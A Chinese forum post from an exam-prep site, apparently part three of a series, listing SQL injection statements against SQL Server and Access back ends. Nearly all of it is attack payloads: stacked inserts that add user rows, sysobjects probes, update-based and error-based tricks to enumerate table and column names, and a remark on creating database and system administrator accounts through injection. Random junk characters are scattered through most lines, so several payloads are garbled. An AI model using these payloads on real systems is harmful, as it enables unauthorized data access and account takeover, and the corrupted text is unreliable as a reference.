a我考网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 87|回复: 0

[综合] oracle认证考试SQL注射语句解析三

[复制链接]
发表于 2012-8-4 13:54:49 | 显示全部楼层 |阅读模式
oracle认证考试SQL注射语句解析三( p6 }6 o, q1 D. u7 h5 }
通过查看ffff的用户资料可得第一个用表叫ad; k# U8 C  t9 @6 A) A
然后根据表名ad得到这个表的ID 得到第二个表的名字( E! ]7 o6 ?- w: \- X  j% z
insert into users values( 666,% |' p0 V% r  V) o6 K/ _
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
/ Y. N& F; s( \/ Zchar(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--* i. ]+ ]" S& R9 j3 n
insert into users values( 667,123,123,0xffff)--
6 W9 ~* B* V* i( binsert into users values ( 123, ‘admin’‘--’, ‘password’, 0xffff)--
0 y7 ]2 f5 F0 {# p) d4 ];and user》02 C+ T3 ?9 \5 h; r# E
;and (select count(*) from sysobjects)》0
, r5 A7 E; J$ z3 V. f;and (select count(*) from mysysobjects)》0 //为access数据库2 f* ?5 A2 q0 o
枚举出数据表名
2 E& ?% A9 R# A; V" S1 _; e;update aaa set aaa=(select top 1 name from sysobjects where xtype=‘u’ and
+ Q: c* a/ O/ u3 I# G+ f$ ]status》0);--
5 q% I( I$ Q- y" A6 `这是将第一个表名更新到aaa的字段处。
  }) d# `8 x( g读出第一个表,第二个表可以这样读出来(在条件后加上 and name《》‘刚才得到的表名’)。
, k( `1 x& J2 Q; C3 ?3 H;update aaa set aaa=(select top 1 name from sysobjects where xtype=‘u’ and
; @; Q" w9 C9 X' qstatus》0 and name《》‘vote’);--
; M' K% h4 s# g9 p8 S然后id=1552 and exists(select * from aaa where aaa》5)7 y  E' l; \2 j. M
读出第二个表,一个个的读出,直到没有为止。
5 j( i5 ?) l% J5 P% w! J读字段是这样:# @  q! T7 i" q) m
;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),1));--
6 a6 ^8 b* g4 i4 G. x! I' I! C然后id=152 and exists(select * from aaa where aaa》5)出错,得到字段名- n( Q" y4 L' q% m1 B5 o% }9 [
;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),2));--
7 X% H2 B1 z& I' _然后id=152 and exists(select * from aaa where aaa》5)出错,得到字段名
: `% a* V. B/ G7 e[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
2 ?9 k* P9 O' F6 n" [$ _update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and. x# }. ~/ W- B' _# P. R( M9 h' P
status》0 [ and name《》‘你得到的表名’ 查出一个加一个]) [ where 条件] select top 1 name from" d% f9 ^5 v" ~& ~
sysobjects where xtype=u and status》0 and name not in(‘table1’,‘table2’,…)8 r+ D; t* ~" V+ w' v% U
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
8 B3 H# ?1 y- l6 b  M, F[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]$ Z, C# z5 E+ F' ?( u
update 表名 set 字段=(select top 1 col_name(object_id(‘要查询的数据表名’),字段列如:1)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Woexam.Com ( 湘ICP备18023104号 )

GMT+8, 2024-5-14 05:44 , Processed in 0.284620 second(s), 21 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表